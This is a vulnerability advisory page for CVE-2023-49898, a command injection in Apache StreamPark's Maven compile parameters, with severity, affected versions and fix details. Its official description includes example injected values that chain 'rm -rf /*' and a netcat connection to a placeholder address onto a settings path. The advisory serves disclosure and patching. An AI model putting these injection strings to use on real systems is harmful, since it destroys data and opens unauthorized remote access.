Vulnerability · Published Dec 15, 2023 · Assigned by apache
CVE-2023-49898Apache StreamPark (incubating): Authenticated system users could trigger remote command execution
High 7.2
In plain English
A high-severity command injection in Apache StreamPark (incubating) from Apache Software Foundation. There are no confirmed reports of exploitation so far. The chance it is exploited in the next 30 days is estimated at 2.3% (higher than 83% of all known vulnerabilities). Fixed versions are available - upgrade the affected package.
Official description
In streampark, there is a project module that integrates Maven's compilation capability. However, there is no check on the compilation parameters of Maven. allowing attackers to insert commands for remote command execution, The prerequisite for a successful attack is that the user needs to log in to the streampark system and have system-level permissions. Generally, only users of that system have the authorization to log in, and users would not manually input a dangerous operation command. Therefore, the risk level of this vulnerability is very low. Mitigation: all users should upgrade to 2.1.2 Example: ##You can customize the splicing method according to the compilation situation of the project, mvn compilation results use &&, compilation failure use "||" or "&&": /usr/share/java/maven-3/conf/settings.xml || rm -rf /* /usr/share/java/maven-3/conf/settings.xml && nohup nc x.x.x.x 8899 &
Affected packages & fixed versions
| Ecosystem | Package | Fixed in | Advisory |
|---|---|---|---|
| Maven | org.apache.streampark:streampark | 2.1.2 | GHSA-qg44-xqwj-wc28 |
Affected products (as reported)
| Vendor | Product | Versions |
|---|---|---|
| Apache Software Foundation | Apache StreamPark (incubating) | 2.0.0 – before 2.1.2 |
Weakness: CWE-77
References
- https://lists.apache.org/thread/qj99c03r4td35f8gbxq084b8qmv2fyr3 vendor-advisory